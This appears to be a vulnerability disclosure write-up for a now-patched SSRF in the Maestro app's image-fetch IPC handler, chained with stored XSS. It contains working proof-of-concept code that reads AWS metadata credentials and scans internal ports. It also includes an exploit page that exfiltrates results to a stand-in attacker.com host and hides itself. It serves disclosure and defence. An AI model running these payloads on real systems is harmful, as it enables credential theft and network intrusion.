4 minutes
Maestro - Stored XSS to SSRF
Stored XSS to SSRF
A Server-Side Request Forgery (SSRF) vulnerability exists in Maestro’s’s fs:fetchImageAsBase64 IPC handler. The handler accepts arbitrary URLs from the renderer process and performs HTTP requests using Node.js’s native fetch() without URL validation. This allows attackers with JavaScript execution (e.g., via XSS) to probe internal networks, access localhost services, and potentially steal cloud credentials.
update: this is issue is now patched in Maestro release 0.15.0-RC
Vulnerability Details
Affected Component
File: src/main/ipc/handlers/filesystem.ts
ipcMain.handle('fs:fetchImageAsBase64', async (_, url: string) => {
try {
const response = await fetch(url); // No URL validation!
if (!response.ok) {
throw new Error(`HTTP ${response.status}`);
}
const arrayBuffer = await response.arrayBuffer();
const buffer = Buffer.from(arrayBuffer);
const base64 = buffer.toString('base64');
const contentType = response.headers.get('content-type') || 'image/png';
return `data:${contentType};base64,${base64}`;
} catch (error) {
logger.warn(`Failed to fetch image from ${url}: ${error}`, 'fs:fetchImageAsBase64');
return null;
}
});
Exposed API
Preload: src/main/preload/fs.ts
fetchImageAsBase64: (url: string) => ipcRenderer.invoke('fs:fetchImageAsBase64', url)
Renderer Access:
await window.maestro.fs.fetchImageAsBase64('http://internal-server/secret-data');
Root Cause
The handler lacks any URL validation:
- No protocol whitelist (http/https only)
- No hostname/IP blocklist (localhost, private ranges, metadata endpoints)
- No domain allowlist
- Response content-type is not validated (despite function name suggesting images)
Proof of Concept
Attack Chain Integration
This SSRF can be chained with vuln-0005 (XSS) for remote exploitation:
┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ vuln-0001 │ │ vuln-0002 │ │ Internal │ │ Attacker │
│ Stored XSS │────▶│ SSRF │────▶│ Network │────▶│ Server │
│ │ │ │ │ Services │ │ │
└─────────────┘ └─────────────┘ └─────────────┘ └─────────────┘
│ │ │ │
▼ ▼ ▼ ▼
Meta refresh fetchImageAsBase64 Localhost:8000 Exfiltrate
to exploit.html ('http://127...') AWS metadata credentials
Test 1: Access Localhost Service
Target: Python HTTP server on localhost:8000
const response = await window.maestro.fs.fetchImageAsBase64('http://127.0.0.1:8000/');
const base64Part = response.split(',')[1];
const decoded = atob(base64Part);
console.log(decoded);
Result:
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href=".DS_Store">.DS_Store</a></li>
...
Test 2: Access Chrome DevTools Internal API
Target: Chrome DevTools JSON endpoint (bound to localhost)
const response = await window.maestro.fs.fetchImageAsBase64('http://127.0.0.1:9222/json');
Result:
[ {
"description": "",
"devtoolsFrontendUrl": "/devtools/inspector.html?ws=127.0.0.1:9222/devtools/page/...",
"id": "CD7829512081A2C51DDB08936C938943",
"title": "Maestro - Agent Orchestration Command Center",
"type": "page",
"url": "file:///Applications/Maestro.app/...",
"webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/page/..."
} ]
Attack Scenarios
Scenario 1: Localhost Service Exploitation
An attacker chains XSS (vuln-0005) with SSRF to access localhost-only services:
// Access local database admin panel
const dbAdmin = await window.maestro.fs.fetchImageAsBase64('http://127.0.0.1:5984/_utils/');
// Access local Docker API
const containers = await window.maestro.fs.fetchImageAsBase64('http://127.0.0.1:2375/containers/json');
// Access local Kubernetes dashboard
const k8s = await window.maestro.fs.fetchImageAsBase64('http://127.0.0.1:8001/api/v1/namespaces');
Scenario 2: Cloud Credential Theft
If Maestro runs on AWS EC2:
// Get IAM role name
const roleName = await window.maestro.fs.fetchImageAsBase64(
'http://169.254.169.254/latest/meta-data/iam/security-credentials/'
);
// Get temporary credentials
const creds = await window.maestro.fs.fetchImageAsBase64(
`http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`
);
// creds now contains AccessKeyId, SecretAccessKey, Token
// Attacker can use these to access AWS resources
Scenario 3: Internal Network Scanning
// Port scan internal network
async function scanPort(ip, port) {
try {
const r = await Promise.race([
window.maestro.fs.fetchImageAsBase64(`http://${ip}:${port}/`),
new Promise((_, rej) => setTimeout(() => rej('timeout'), 1000))
]);
return r !== null;
} catch { return false; }
}
// Scan common ports on internal network
for (let i = 1; i <= 255; i++) {
const ip = `192.168.1.${i}`;
for (const port of [22, 80, 443, 3306, 5432, 6379, 8080]) {
if (await scanPort(ip, port)) {
console.log(`Found: ${ip}:${port}`);
}
}
}
Scenario 4: Exfiltrate Internal Data
// Fetch internal wiki/docs
const internalDocs = await window.maestro.fs.fetchImageAsBase64('http://internal-wiki.corp/');
// Fetch from internal API
const apiData = await window.maestro.fs.fetchImageAsBase64('http://api.internal:3000/users');
// Send to attacker
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({ docs: internalDocs, api: apiData })
});
PoC exploit page
<!DOCTYPE html>
<html>
<head><title>Maestro</title></head>
<body>
<script>
(async function() {
const results = {};
// Scan for common localhost services
const targets = [
'http://127.0.0.1:3000/', // Node.js apps
'http://127.0.0.1:5432/', // PostgreSQL
'http://127.0.0.1:6379/', // Redis
'http://127.0.0.1:8080/', // Common HTTP
'http://127.0.0.1:9200/', // Elasticsearch
'http://169.254.169.254/latest/meta-data/', // AWS
];
for (const url of targets) {
try {
const r = await window.maestro.fs.fetchImageAsBase64(url);
if (r) results[url] = atob(r.split(',')[1]);
} catch {}
}
// Exfiltrate to attacker
navigator.sendBeacon('https://attacker.com/ssrf-results', JSON.stringify(results));
// Redirect back to hide attack
setTimeout(() => window.history.back(), 1000);
})();
</script>
</body>
</html>